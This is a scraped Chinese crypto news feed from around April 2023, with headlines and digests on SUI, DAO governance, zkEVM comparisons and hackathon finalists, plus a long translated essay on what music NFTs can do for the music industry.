MystenLabs与FTX债务人123页法庭文件要点总结：我们可以获得SUI哪些关键信息？ 长达123页的文件议，详细还原了2022年8月FTX 投资 MystenLabs 的情况。 应用链进展如何？多维度对比Polygon Supernets和Avalanche Subnets Polygon和Avalanche双方都对自己的应用链解决方案Supernets和Subnets投入了很多资源，现在它们发展如何呢。 Render Network为何迁往Solana，并构建铸造和销毁模型 3月21日，分布式渲染项目Render Network宣布在Solana网络上构建BME模型（Burn and Mint Equilibrium，铸造和销毁模型），以回应社区对从Polygon网络转向Solana的提案。 利益冲突、项目停滞，ROOK DAO要解散？ DAO治理因公开、公平而备受加密行业推崇，但作为首批MEV提取解决方案之一的Rook Protocol出现了治理危机，社区正就是否解散ROOK DAO展开了讨论，本文带你了解其中原委。 Messari报告：深度解读DAO工作组的资金分配现状 任何形式的组织都会面临资源分配的问题，那么DAO在治理过程中是如何分配的？近日，Messari发布了一篇报告，从10个DAO的预算支付情况入手，解读了DAO在2022年如何以及在何处分配资源。 胖企鹅CEO分享NFT商业模式设计：如何打造Web3顶流IP？ 胖企鹅的 playbook：ToB 合作先行，ToC 提升品牌影响力，最终提升直接销售占比。 深度剖析像素风NFT发展趋势：为何会成为市场主要潮流？ 为什么像素风NFT频频出圈？解析像素风艺术潮流发展。 解读NFT发展最新趋势：如何进行建立优质投资策略？ NFT市场是一个快速发展的数字资产市场，其市场规模不断扩大，应用场景也变得更加多元化。然而，NFT市场的价值波动性相对较大，投资者需要谨慎评估风险并选择合适的投资策略。 半年后看，Azuki提出的PBT方案是NFT新叙事还是伪命题？ Azuki去年10月份推出的PBT标准就是一种把现实资产映射到链上的解决方案，虽然推出至今没有多大起色，但我们仍认为这种方案很有前景。 解读以太坊POS工作原理：Epoch、Slot 与信标区块 使用权益证明的以太坊的独特性在于参与者数量的最大化设计。它允许成百上千和成千上万的验证者活跃地参与决策过程。在笔者撰文时已经有大约 50 万的验证者实体（从协议的角度而言）在活跃地参与这个过程。 深入了解Starknet编程语言Cairo 1.0：设计原理、存在问题及改进之处 Cairo 是一个图灵完备的 ZK 友好高级语言，也是以太坊 L2-Starknet 的合约开发语言，它正在进行改版升级。 一文全解StarkNet 技术原理及生态现状 随着ARB空投带来的财富效应，L2 Summer呼之欲出。本文将介绍 StarkNet 及其生态内重点项目。 zkEVM系列第一篇：Polygon zkEVM的整体架构和交易执行流程 本文是Polygon zkEVM系列文章的第一篇，简要阐述了Polygon zkEVM的整体架构和交易执行流程，并且分析了Polygon zkEVM是如何实现计算扩容并同时继承以太坊的安全性的。 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 比特小鹿将上市纳斯达克，估值约11.8亿美元 Microstrategy再次购买6455个比特币 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% 蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 公链Sui推出永久测试网，可在主网启动后继续运行 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行  ( 2 min )
    DeFi借贷协议Granary Finance完成超过500万美元融资
    PANews 4月1日消息，据Blockworks报道，DeFi借贷协议Granary Finance在不到两周时间里通过社区融资筹集了超过500万美元的稳定币USDC。新资金将用于Granary V2开发以及即将推出的Granary治理代币相关支持工作，为Web3金融用户提供无摩擦借贷体验。  ( 1 min )
    NFT到底可以为音乐行业做什么？
    撰文：DARDANIA.BNB 翻译：@wenchuan 关键点：   垄断行业的问题 事实证明，音乐产业是一台高效的创收机器，每年能够获得超过 600 亿美元的综合收入。2021 年，录制音乐的全球收入为 259 亿美元。流媒体占总收入的 65%，11% 来自特许权使用费和电影、电视节目和广告的音乐授权，其余来自实体销售。 该行业的第二大收入来源是现场演出，通常达到接近录制音乐的数字（2017 年为 230 亿美元，这一收入来源受到新冠疫情的高度影响）。出版是第三个收入来源（2017 年为 90 亿美元）。 音乐产业也明确了其适应时代和新技术的能力，根据消费者的偏好采取新的做法：从实体 CD 或磁带的消费，经过 iTunes 和 iPod 统治市场时的下载时期（2004 - 2014)，转向流媒体（2015 年至今）和现场演出的时代。 但是，闪闪发光的东西不是金子。整个音乐行业，从录音到发行，都被少数玩家所垄断。仅仅三个唱片公司，环球音乐集团 (32%)、索尼音乐娱乐 (20%) 和华纳音乐集团 (16%)，就占据了惊人的 68% 的音乐录制市场。同样，这些公司也占有整个出版市场近 60% 的份额，剩下的都在独立公司手中。通过流媒体发行的情况也是如此，82% 的市场被五家公司占领：Spotify (32%)，苹果音乐（16%），亚马逊 (13%)，腾讯音乐 (13%)，以及谷歌 (8%)。 这种寡头垄断的局面，意味着行业丰厚的收入没有得到平等的分配。上述公司对行业有极大的控制权，这有时会对被迫接受不公平收入分配的艺术家造成负面影响。 尽管世界上估计有超过 500 万名音乐家，但很少有人能从他们的创作中获得有意义的收入。目前的系统意味着收入的 80% 以上都给了唱片公司，只留下了所产生收入的 12% 给艺术家（扣除其他中介机构后）。 流媒体系统也在高度攫取艺术家的价值。以 Spotify 为例，每条流媒体只需支付 0.003 美元，这种模式的结果是，去年只有不到 10,000 名艺术家能够通过该平台赚取超过 10 万美元的收入。对于在上次报告期内的收入超过 110 亿美元的领先流媒体平台（为音乐产业创造最多收入的产品）而言，这个数字似乎有些低。这种不平等的制度不仅仅是本文作者的个人解读，而且已经得到了美国版权保护费委员会等组织的认可。 Web3 音乐产业旨在打破这种局面，解决反复出现的收入分配不均的问题。音乐 NFT 试图通过消除在目前模式中蚕食大部分收入的中间商，使版税和其他知识产权的分配更加公平。艺术家可以在 NFT 市场上直接向粉丝出售他们的作品，并且收取他们的作品在二级市场每一次转售的版税。 由于底层技术的原因， NFT 在音乐行业的应用可能是完全革命性的。那些版权所有者的主要问题之一是要知道他们的音乐在何时何地被播放并对其收费。借助区块链技术提供的可追溯性，如果作品只作为 NFT 进行销售，这个问题很快就会得到解决。想象一下，任何时候你在某种程度上拥有的歌曲在世界任何地方被播放或使用，该活动都会被记录在链上，并且你自动获得这一活动所产生的收入的比例分成。尽管目前的状况离这种情况还很远，但其可能性是非常大的。 已经实现的是，许多艺术家可以在没有中间商的情况下直接推销他们的 NFT ，并利用这一机制来筹集资金，获得 100% 的首次销售收入，以及后续在二级市场销售的固定比例收入。同时，购买它的用户可以表达他们对艺术家的初步支持，希望随着时间的推移得到重估。这些作品可以在 Catalog 这样拥有广泛范围的音乐 NFT 的市场上出售。音乐 NFT 生态系统相当广泛，从市场到 Web3 流媒体供应商，贯穿 Web3 社区、版税平台或票务。 NFT 能够通过音乐作品为艺术家和用户创造新的收入来源。Corite 或 Royal 有创新的方法，用户可以购买部分以 NFT 形式发布的专辑或歌曲，每当该作品在 Spotify 上播放时，他们都可以获得相应比例的收入（版税）。像 Royal 的 Chainsmokers 或者是 Corite 的 Alan Walker 这样的艺术家已经通过这种方式发布了一首歌。Corite 允许艺术家通过相信他们的粉丝获得资金，以换取艺术家流媒体的经济曝光。 NFT 也可以作为一种不同的方式来销售音乐会、视听作品或独特收藏品的门票或 VIP 优惠。 音乐 NFT 是艺术家之间合作的一个强有力的作品。像 Melos Studio 这样的平台允许音乐家进行合作，同时成为这些作品的所有者，这些作品之后可以出售或由不同的用户持有。Melos 拥有 David Bowie 或 Freddy Mercury 等艺术家未发表的某些作品，并允许其平台上的不同音乐家使用这些作品进行创作。这类模式对未发行歌曲的版权持有人来说可能非常有趣。同时，它试图创造一个艺术家社区，相互支持，利于音乐创作，同时接受其作品的传播。将一个合作平台整合成一个可轻松销售、易变现的产品，也许就是 NFT 最大的好处之一，也是 Web3 音乐产业最有希望的特征之一。 音乐 NFT 是艺术家之间合作的一个强有力的作品。像 Melos Studio 这样的平台允许音乐家进行合作，同时成为这些作品的所有者，这些作品之后可以出售或由不同的用户持有。Melos 拥有 David Bowie 或 Freddy Mercury 等艺术家未发表的某些作品，并允许其平台上的不同音乐家使用这些作品进行创作。这类模式对未发行歌曲的版权持有人来说可能非常有趣。同时，它试图创造一个艺术家社区，相互支持，利于音乐创作，同时接受其作品的传播。将一个合作平台整合成一个可轻松销售、易变现的产品，也许就是 NFT 最大的好处之一，也是 Web3 音乐产业最有希望的特征之一。 在音乐产业中存在极少数相关的参与者，这意味着发行也是高度集中的。发行对任何艺术家来说都是至关重要的，因为他们要尽可能容易地接触到最大的歌迷群体，而这些人通常会寻找具有最大分销能力的公司，因为它们所保证的网络效应肯定是有益的。我们可以把 Spotify 作为一个案例来研究。 在 2022 年的第一季度，Spotify 的月度活跃用户数 (MAU) 超过了 4.22 亿。Spotify 之所以能吸引这么多用户，是因为它统一了音乐的发行和全球供应。如果你正在寻找一位艺术家，他很可能会在 Spotify 上出现。因此，Spotify 庞大的听众群体对任何艺术家都具有极大吸引力。该平台为用户提供几乎无限的音乐目录，而艺术家则获得了统一传播的所有可能的好处（知名度、网络效应、改进的触达能力、算法推荐）。 这不仅适用于流媒体，也同样适用于整个行业。与大公司签约可以打开大门，例如，作为著名团体的支持艺术家或其他类型的合作将明显增加任何新艺术家的影响力。今天的音乐所有者实际上控制了所有的音乐发行渠道。 相反，Web3 上的音乐发行也许是其最大的弱点（阿喀琉斯之踵）。音乐的发行和供应是高度分散的，有太多的市场，特定的协议和流媒体供应商的目录比他们的 Web2 竞争对手小得多。这既影响了艺术家，阻碍了他们作品的有效发行，也影响了用户，恶化了他们的用户体验。这种情况形成了一个恶性循环，导致用户们怀疑是否要迈向 Web3，因为很难找到他们喜欢的艺术家，而随着粉丝或用户数量的减少，艺术家们也不会迈向 Web3。 在一个分散的发行市场中，艺术家的知名度要低得多，这对成熟的艺术家没有吸引力。如果没有成熟的艺术家，大量的用户就很难进入 Web3，而没有用户，独立艺术家就很难起步。 我们在音乐 NFT 领域观察到的另一个主要问题是，大多数协议都忘记了用户。目前的大多数模式似乎都是以创作者为中心的，而没有为用户提供多少东西。诚然，目前音乐艺术家的收入动力从多个角度看都是过时的，但任何商业模式都需要用户（市场的需求方），他们通过消费支持这个行业。 目前的音乐 NFT 格局侧重于解决音乐创作者的最大痛点，无论是试图用新的版税方法来优化收入模式，承诺更高的流媒体报酬，还是简单地产生额外的收入层（例如发布上一张专辑的 NFT 或具有独特的作品）。我们所看到的大多数协议都为用户提供了一些可能的新收入来源，但它们更注重于提供文化对象（粉丝支持工具），但它们没有解决用户体验上的摩擦（例如，分散的报价）。 诚然，某些协议试图通过真正创新的版税支付方式，让用户参与到他们支持的艺术家的利益中。但这里出现了另外两个问题：NFT 并不真正代表知识产权（IP），所以持有 NFT 的用户不能像唱片公司那样从「音乐所有权」中获益；并且，大多数版税分配模式使用不稳定的代币，由于目前的市场成熟度，这使得它们很容易成为投机的猎物。 我们认为，许多音乐 NFT 项目的代币经济构成了协议和行业可扩展性的另一个障碍。大多数项目试图通过铸造自己的代币来奖励艺术家和用户，遵循类似于近年来在整个加密行业传播的机制。问题是，这些代币极不稳定，这使得长期内很难形成任何稳定的收入模式。这可能导致用户和艺术家不信任这种模式。一个替代方案是引入稳定币来支付特定服务（如支付流媒体订阅）和版税。在给行业带来稳定性的同时，这有利于预测音乐协议财务模型的预测以及艺术家和用户的收入；这对任何新生行业来说都是至关重要的特征。 另一方面，许多代币经济与该行业的可扩展性不兼容。我们已经看到了每条流支付 0.30 美元的协议（是 Spotify 支付的 100 多倍），这种模式可能适用于几百个用户，但对于收听率最高的歌曲达到 30 亿次播放的情况来说，它似乎无法同样适用。 不良的代币经济导致不良的收入模式，这阻碍了 Web3 音乐的采用和可扩展性。尽管需要更公平地分配版税，并结合建立新的再分配模式，要想在财务上实现这一目标，一个健全的收入模式至关重要。我们今天看到的是，Web3 协议承诺每条流支付的费用是 Web2 协议的 100 倍，但却没有任何经证实的模式在经济上支持这种理想的分配。这些脆弱的收入模式导致了许多协议的消亡。 设计创新的收入模式，使艺术家和创作者获得更高的收入分配，同时保持盈利，这仍然取决于目前的协议和那些将要出现的协议。收入模式应该允许 Web3 音乐产业的可扩展性，而不仅仅只是用作快速引导用户的工具。也许，通过观察 Web3 中的成功经验，我们可以增加 Web3 允许的功能去得到一个可以发挥作用的机制。 目前，大多数使用 NFT 的音乐协议已经设法为艺术家创造了新的收入来源。这些收入是在他们通过唱片公司或流媒体供应商的传统模式获得的收入基础上获得的，以这种方式，他们推出了独特的 NFT，为他们带来了新的收入来源。问题是，这既没有改变目前的范式以及对许多艺术家来说不公平的收入分配问题，也没有给购买 NFT 的用户带来很大好处，除了显示他们支持或者获得某种流媒体或销售曝光。 为了使 Web3 给音乐产业带来的好处得以实现，从法律角度看，知识产权状况必须改变。目前，即使是最先进的 NFT 模式也不包含任何形式的知识产权。因此，该行业最大的问题，即权利的不平等分配，并不能完全用 NFT 解决。即使一个用户拥有他最喜欢的艺术家的专辑的一部分，也不可能获得等量的广告收入。这对那些在纯粹的流媒体之外产生大量收入的知名艺术家来说可能是个问题，但对那些只想筹集资金开始其艺术生涯的独立艺术家来说则不是。可以肯定的是，为了释放 Web3 颠覆音乐产业的潜力，需要在法律上大力关注 NFT 战略。公链、协议和艺术家必须集中精力解决 NFT 的法律状况，这样才能真正解决知识产权的不平等分配问题。 Web3 还可以考虑引入传统音乐品牌，或与流媒体供应商合作，共同提供最佳的用户体验，同时提高艺术家的收入。区块链技术可以提高音乐的可追溯性，从而增加版权收入，而已经建立的品牌可以带来用户、艺术家和专有技术。 结论 音乐产业是最有利可图的文化产业之一，部分原因是它能够迅速适应市场偏好和技术变化。 然而，在录音、现场演出以及发行方面，它被少部分群体高度垄断。 这种寡头垄断产生了一个不平等的收入分配系统，艺术家通常只保留他们创造收入的 12%。没有多少艺术家能够从他们的作品中获得丰厚的收入。 NFT 技术，尤其是智能合约在版税方面的应用，具有颠覆行业的能力。 NFT 已经证明了它们成为艺术家之间优化协作工具的能力。特别有趣的是，使用已成名和已不存在的艺术家的未发布的歌曲作为基础，这种方法已经被 Melos Studio 等协议所遵循。 音乐 NFT 也是独立艺术家筹集资金和产生新收入来源的有力渠道，也是粉丝支持的良好载体。 分散化的发行、健全收入模式的缺失以及许多项目的代币经济是可扩展性和大规模采用的主要障碍。 Web3 音乐行业的主要长期挑战是知识产权和版权的法律处理，这使得 NFT 难以作为持有发行和出版权的单一载体。 NFT 可以成为新的 SoundCloud，并取代这个平台成为独立艺术家的参考，这要归功于它们所允许的货币化、可共存性和协作程度。 一些建议是，在商业模式和代币经济学中使用稳定币来保证收入来源的稳定，关注用户吸引力，与成熟的音乐行业参与者合作，研究新的版税流媒体模式和版权。 凭借知识产权方面的功能和当前的法律状况，最大的市场机会出现在零售和独立艺术家身上，要么作为货币化的来源，要么作为一种协作的工具。  ( 3 min )

  • Open

    【英文】以太坊生态周报：主网影子分叉、MEV-Boost、Polygon zkEVM......
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：以太坊上海升级最后一个主网影子分叉计划于下周进行；MEV-Boost 发布 V1.5.0 版本；Polygon zkEVM 主网 Beta 版本已正式上线；ConsenSys zkEVM 向所有开发人员、用户或协议开放测试。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-1-2023/ 文章作者： abcoathup.eth  ( 8 min )
    【英文】以太坊生态周报：主网影子分叉、MEV-Boost、Polygon zkEVM......
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：以太坊上海升级最后一个主网影子分叉计划于下周进行；MEV-Boost 发布 V1.5.0 版本；Polygon zkEVM 主网 Beta 版本已正式上线；ConsenSys zkEVM 向所有开发人员、用户或协议开放测试。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-1-2023/ 文章作者： abcoathup.eth  ( 8 min )
    盘点 11 家 ETHGlobal「Scaling Ethereum 2023」黑客松决赛项目
    Chainfeeds 导读： 昨日由 ETHGlobal 主办的「Scaling Ethereum 2023 」主题黑客松正式落幕。本届黑客松最终筛选出了 11 家决赛入围项目，涉及了钱包、DeFi、游戏、基础设施等多个领域。Odaily 星球日报就带大家一起来了解下这 11 家入围项目。 文章来源： https://www.odaily.news/post/5186166 文章作者： Azuma 观点： Azuma：1）Snarky Monsters：「宝可梦」风格链上游戏，最大的特点是最大限度的上链。为了解决运行问题，Snarky Monsters 选择了将计算放在链下执行，然后再通过 zk 证明在链上进行验证；2）ZKlinks：基于零知识证明创建的的推荐链接跟踪系统，具有隐私保护、安全及奖励更公平等优势；3）Opclave：无需助记词，且支持 Apple Face-ID 与 Touch-ID 的智能合约钱包；4）Polynote：基于 Web3 数据库 Polybase 构建的隐私型文档工具，其文本编辑器支持图片上传、重要文本凸显、设置标题、代码块等多种功能。 内容来源 Azuma：5）SearchOS：Web3 搜索引擎，允许用户轻松地跨多个链与多个应用程序进行交互；6）CFD DEX：聚焦于差价合约（CFD）领域的去中心化交易所，基于订单簿模型，因此需要选择 gas 费较低的 Layer 1 或者 Layer 2 网络；7）Novusys：融合了社会签名功能（利用 auth 0 实现）的账户抽象钱包服务商，具有社会恢复功能、全局锁定功能及储蓄账户功能；8）Moonboard：为旨在帮助兴趣发现以及早期创意曝光的图片社交平台； 内容来源 Azuma：9）Ethercard：嵌入了与用户加密货币钱包相连的 NFC 芯片的实体卡，允许个人和企业使用 NFC 技术轻松、安全地接收加密货币支付；10）ZKaptcha：基于零知识证明的验证码系统，DApp 开发者可以保护他们的智能合约功能不受机器人的干扰；11）Cove：旨在为以 Layer 2 为中心的以太坊生态系统构建的简单、可靠、开源的合约验证。 内容来源  ( 7 min )
    盘点 11 家 ETHGlobal「Scaling Ethereum 2023」黑客松决赛项目
    Chainfeeds 导读： 昨日由 ETHGlobal 主办的「Scaling Ethereum 2023 」主题黑客松正式落幕。本届黑客松最终筛选出了 11 家决赛入围项目，涉及了钱包、DeFi、游戏、基础设施等多个领域。Odaily 星球日报就带大家一起来了解下这 11 家入围项目。 文章来源： https://www.odaily.news/post/5186166 文章作者： Azuma 观点： Azuma：1）Snarky Monsters：「宝可梦」风格链上游戏，最大的特点是最大限度的上链。为了解决运行问题，Snarky Monsters 选择了将计算放在链下执行，然后再通过 zk 证明在链上进行验证；2）ZKlinks：基于零知识证明创建的的推荐链接跟踪系统，具有隐私保护、安全及奖励更公平等优势；3）Opclave：无需助记词，且支持 Apple Face-ID 与 Touch-ID 的智能合约钱包；4）Polynote：基于 Web3 数据库 Polybase 构建的隐私型文档工具，其文本编辑器支持图片上传、重要文本凸显、设置标题、代码块等多种功能。 内容来源 Azuma：5）SearchOS：Web3 搜索引擎，允许用户轻松地跨多个链与多个应用程序进行交互；6）CFD DEX：聚焦于差价合约（CFD）领域的去中心化交易所，基于订单簿模型，因此需要选择 gas 费较低的 Layer 1 或者 Layer 2 网络；7）Novusys：融合了社会签名功能（利用 auth 0 实现）的账户抽象钱包服务商，具有社会恢复功能、全局锁定功能及储蓄账户功能；8）Moonboard：为旨在帮助兴趣发现以及早期创意曝光的图片社交平台； 内容来源 Azuma：9）Ethercard：嵌入了与用户加密货币钱包相连的 NFC 芯片的实体卡，允许个人和企业使用 NFC 技术轻松、安全地接收加密货币支付；10）ZKaptcha：基于零知识证明的验证码系统，DApp 开发者可以保护他们的智能合约功能不受机器人的干扰；11）Cove：旨在为以 Layer 2 为中心的以太坊生态系统构建的简单、可靠、开源的合约验证。 内容来源  ( 7 min )
    解析聚合器赛道现状：Li.Fi 有哪些优势？
    Chainfeeds 导读： 刚刚完成 1750 万美元 A 轮融资的流动性聚合器 LI.FI，在哪些方面拥有多重护城河？加密研究员 Joel John 从成本、分发和用例等方面对 LI.FI 的优势进行了解读分析。中文版本由 BlockBeats 编译发布。 文章来源： https://www.theblockbeats.info/news/36117 文章作者： Joel John 观点： Joel John：LI.FI 是一个支持多条链的流动性聚合器，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。例如，如果 Metamask 或 OpenSea 希望允许用户在 Polygon 和 Ethereum 之间转移资产，LI.FI 的 SDK 将确定跨越桥梁和去中心化交易平台（DEX）的最佳路径以转移资金，从而使开发人员能够专注于他们的核心竞争力。 内容来源 Joel John：将聚合器（如 Li.Fi）视为开发人员在其应用程序中放置的构建组块，以帮助用户以最低成本在链之间移动资产。尽管市场上有很多类似的竞争对手，但 LI.FI 是一个很好的例子，因为他们已经做了构建强大护城河的几件事情：专注于企业而非散户、产品可以为企业节省研究和维护时间和资源、对于终端用户提供了最佳的转移成本基础、第一个集成新链的平台及目标用户群体无需太多知识普及工作。 内容来源 Joel John：LI.FI 如何从一种新奇工具逐渐转变为一种便捷工具？早期用户之所以依赖桥接聚合器，是因为在不同的区块链之间转移资产是一个耗时的过程，需要通过中心化平台和安全检查。当新奇感消失后，LI.FI 开始主要面向开发人员进行销售。此外，要想脱颖而出成为一种便利工具，企业必须专注于少数高收益用户。 内容来源
    解析聚合器赛道现状：Li.Fi 有哪些优势？
    Chainfeeds 导读： 刚刚完成 1750 万美元 A 轮融资的流动性聚合器 LI.FI，在哪些方面拥有多重护城河？加密研究员 Joel John 从成本、分发和用例等方面对 LI.FI 的优势进行了解读分析。中文版本由 BlockBeats 编译发布。 文章来源： https://www.theblockbeats.info/news/36117 文章作者： Joel John 观点： Joel John：LI.FI 是一个支持多条链的流动性聚合器，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。例如，如果 Metamask 或 OpenSea 希望允许用户在 Polygon 和 Ethereum 之间转移资产，LI.FI 的 SDK 将确定跨越桥梁和去中心化交易平台（DEX）的最佳路径以转移资金，从而使开发人员能够专注于他们的核心竞争力。 内容来源 Joel John：将聚合器（如 Li.Fi）视为开发人员在其应用程序中放置的构建组块，以帮助用户以最低成本在链之间移动资产。尽管市场上有很多类似的竞争对手，但 LI.FI 是一个很好的例子，因为他们已经做了构建强大护城河的几件事情：专注于企业而非散户、产品可以为企业节省研究和维护时间和资源、对于终端用户提供了最佳的转移成本基础、第一个集成新链的平台及目标用户群体无需太多知识普及工作。 内容来源 Joel John：LI.FI 如何从一种新奇工具逐渐转变为一种便捷工具？早期用户之所以依赖桥接聚合器，是因为在不同的区块链之间转移资产是一个耗时的过程，需要通过中心化平台和安全检查。当新奇感消失后，LI.FI 开始主要面向开发人员进行销售。此外，要想脱颖而出成为一种便利工具，企业必须专注于少数高收益用户。 内容来源
    【英文】多方计算，还是账户抽象？开发者该如何选择？
    Chainfeeds 导读： 多方计算（MPC）是一种技术，用于安全计算由多方拥有的私人数据上的函数且无需向各方透露。而账户抽象（AA）是一种思考账户、智能合约和交易执行之间接口的新方式。两种技术都能实现可编程钱包，但所实现的功能各不相同。Capsule 撰文对两种方式的实现功能进行了权衡分析。 文章来源： https://blog.usecapsule.com/mpc-vs-aa-the-facts/ 文章作者： Capsule 观点： Capsule：1）多链：应用程序开发者如果选择使用账户抽象，需要考虑如何实现链之间的互操作性；2）捆绑交易：账户抽象允许用户将多个交易捆绑在一起且开箱即用，而 MPC 系统则可以插入捆绑器以实现类似功能；3）成本：链上交易成本是阻碍应用开发者开发工作的重要因素，大规模部署和升级的成本是非常昂贵的，且升级底层智能合约还可能会引入新的漏洞；【原文为英文】 内容来源 Capsule：4）密钥管理：MPC 允许开发者使用先进的密钥管理制度，相反账户抽象则提出了一个更好的推理方式，但并不涉及密钥管理；5）灵活性：MPC 钱包可以纳入账户抽象的各个方面，但需要修改钱包底层密钥；6）如果目前正在使用智能合约钱包，那么将选择账户抽象会更优意义。【原文为英文】 内容来源  ( 4 min )
    【英文】多方计算，还是账户抽象？开发者该如何选择？
    Chainfeeds 导读： 多方计算（MPC）是一种技术，用于安全计算由多方拥有的私人数据上的函数且无需向各方透露。而账户抽象（AA）是一种思考账户、智能合约和交易执行之间接口的新方式。两种技术都能实现可编程钱包，但所实现的功能各不相同。Capsule 撰文对两种方式的实现功能进行了权衡分析。 文章来源： https://blog.usecapsule.com/mpc-vs-aa-the-facts/ 文章作者： Capsule 观点： Capsule：1）多链：应用程序开发者如果选择使用账户抽象，需要考虑如何实现链之间的互操作性；2）捆绑交易：账户抽象允许用户将多个交易捆绑在一起且开箱即用，而 MPC 系统则可以插入捆绑器以实现类似功能；3）成本：链上交易成本是阻碍应用开发者开发工作的重要因素，大规模部署和升级的成本是非常昂贵的，且升级底层智能合约还可能会引入新的漏洞；【原文为英文】 内容来源 Capsule：4）密钥管理：MPC 允许开发者使用先进的密钥管理制度，相反账户抽象则提出了一个更好的推理方式，但并不涉及密钥管理；5）灵活性：MPC 钱包可以纳入账户抽象的各个方面，但需要修改钱包底层密钥；6）如果目前正在使用智能合约钱包，那么将选择账户抽象会更优意义。【原文为英文】 内容来源  ( 4 min )
    【英文】Blockworks Research 解读 ArbitrumDAO 成立提案，为何说这是 DAO 治理的退步？
    Chainfeeds 导读： Blockworks Research 认为 ArbitrumDAO 成立提案是对改善 DAO 治理和透明度当下状态的倒退，并撰文对将 7.5 亿枚 ARB 代币转至行政预算钱包这一举措提出了质疑。 文章来源： https://twitter.com/blockworksres/status/1641843788716060672 文章作者： Blockworks Research 观点： Blockworks Research：我们的核心关注点在于 7.5 亿枚 ARB 代币，按当前价格计算价值超过 10 亿美元，这些代币似乎将在 Arbitrum 基金会的控制下由 3 位初始董事管理。7.5 亿枚 ARB 代币占总供应量的很大一部分，所以我们认为这个投票需要仔细考虑。在没有进一步明确拨款程序，资金如何持有，有哪些监督情况下，这个提案不应该被通过。【原文为英文】 内容来源 Blockworks Research：具体而言，谁应该是行政预算钱包的签名者？这 7.5 亿枚 ARB 代币已经从财库中取出了，现在似乎实在 3 个人的集体控制之下。因此我们有理由相信 Offchain Labs 已经预先分离了行政预算钱包。我们还希望进一步明确 7.5 亿枚 ARB 代币的使用场景及分配方式。【原文为英文】 内容来源 Blockworks Research：对比 Uniswap 提议设立 Uniswap 基金会，提案中的资金总额为 7400 万美元，且 7400 万美元将分成两笔进行支付。因此我们不太能理解 Arbitrum 预算钱包一次性需要 7.5 亿 ARB 代币。我们认为对必要的支出应该要有清晰的认知，并在一年后需要重新评估以进一步编制预算。【原文为英文】 内容来源  ( 2 min )
    【英文】Blockworks Research 解读 ArbitrumDAO 成立提案，为何说这是 DAO 治理的退步？
    Chainfeeds 导读： Blockworks Research 认为 ArbitrumDAO 成立提案是对改善 DAO 治理和透明度当下状态的倒退，并撰文对将 7.5 亿枚 ARB 代币转至行政预算钱包这一举措提出了质疑。 文章来源： https://twitter.com/blockworksres/status/1641843788716060672 文章作者： Blockworks Research 观点： Blockworks Research：我们的核心关注点在于 7.5 亿枚 ARB 代币，按当前价格计算价值超过 10 亿美元，这些代币似乎将在 Arbitrum 基金会的控制下由 3 位初始董事管理。7.5 亿枚 ARB 代币占总供应量的很大一部分，所以我们认为这个投票需要仔细考虑。在没有进一步明确拨款程序，资金如何持有，有哪些监督情况下，这个提案不应该被通过。【原文为英文】 内容来源 Blockworks Research：具体而言，谁应该是行政预算钱包的签名者？这 7.5 亿枚 ARB 代币已经从财库中取出了，现在似乎实在 3 个人的集体控制之下。因此我们有理由相信 Offchain Labs 已经预先分离了行政预算钱包。我们还希望进一步明确 7.5 亿枚 ARB 代币的使用场景及分配方式。【原文为英文】 内容来源 Blockworks Research：对比 Uniswap 提议设立 Uniswap 基金会，提案中的资金总额为 7400 万美元，且 7400 万美元将分成两笔进行支付。因此我们不太能理解 Arbitrum 预算钱包一次性需要 7.5 亿 ARB 代币。我们认为对必要的支出应该要有清晰的认知，并在一年后需要重新评估以进一步编制预算。【原文为英文】 内容来源  ( 2 min )
    【英文】Polygon Zero 创始人：多维度对比 Polygon zkEVM 及 zkSync Era zkEVM，有何异同？
    Chainfeeds 导读： 随着 zkEVM 战争升温，市场对于不同 zkEVM 的优缺点进行了大量讨论，但也存在一些错误信息。Polygon Zero 创始人 Daniel Lubarov 撰文对一些 Polygon zkEVM 的事实进行了澄清，并将其与 zkSync Era zkEVM 进行了对比分析。 文章来源： https://hackmd.io/@dlubarov/HydKgJBW2 文章作者： Daniel Lubarov 观点： Daniel Lubarov：1）EVM 兼容性：Polygon zkEVM 可以直接执行 EVM 字节码。根据 Vitalik 的分类，它是一个类型 3 的 zkEVM。zkSync Era 则使用不同的字节码格式，并通过编译器支持 Solidity。这使得它成为一个类型 4 的 zkEVM；2）性能：性能一直是 Polygon 的首要任务，在 CPU 上运行验证器的每笔交易成本约为 0.000084 美元。目前尚未找到关于 zkSync 的 zkEVM 的任何工作基准；【原文为英文】 内容来源 Daniel Lubarov：3）字段选择：zkSync 采用基于 alt-bn128 曲线的 SNARK，底层字段大小约为 254 bits，其优势在于 EVM 原生支持，因此向以太坊提交证明会更简单。Polygon 则选择用 alt-bn128 的 fflonk 证明来「包装」最终聚合证明，该方法需要做更多工作，但提升了性能；4）安全性：Polygon zkEVM 完成了两次独立审计，zkSync 网站暂未列出对 zkEVM 的审计信息；【原文为英文】 内容来源 Daniel Lubarov：5）L1 数据：Polygon zkEVM 将所有交易数据发布至 L1 上，目前平均交易大小约为 120 bytes，因此每个交易的成本为 1920 Gas。zkSync 发布状态差异，修正后的数据显示其与 Polygon zkEVM 的每个交易的 Gas 成本没有太大区别。【原文为英文】 内容来源  ( 5 min )
    【英文】Polygon Zero 创始人：多维度对比 Polygon zkEVM 及 zkSync Era zkEVM，有何异同？
